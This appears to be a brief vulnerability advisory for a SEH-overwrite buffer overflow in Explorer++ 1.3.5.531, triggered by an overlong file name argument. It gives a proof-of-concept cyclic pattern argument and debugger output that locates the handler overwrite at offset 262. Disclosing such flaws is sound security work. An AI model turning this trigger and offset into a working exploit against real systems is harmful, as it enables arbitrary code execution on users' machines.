CWE: CWE-119

Buffer overflow controlling the Structured Exception Handler (SEH) records
in Explorer++ 1.3.5.531, and possibly other versions, may allow attackers
to execute arbitrary code via a long file name argument.

Proof of concept:

Open Explorer32++.exe from command line with a large string in Arguments,
more than 396 chars:

File '<Explorer++_PATH>\Explorer32++.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'

SEH chain of main thread
Address    SE handler
0018FB14   00690041
00370069   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fb14 overwritten with
unicode pattern : 0x00370069 (offset 262), followed by 626 bytes of cyclic
data after the handler
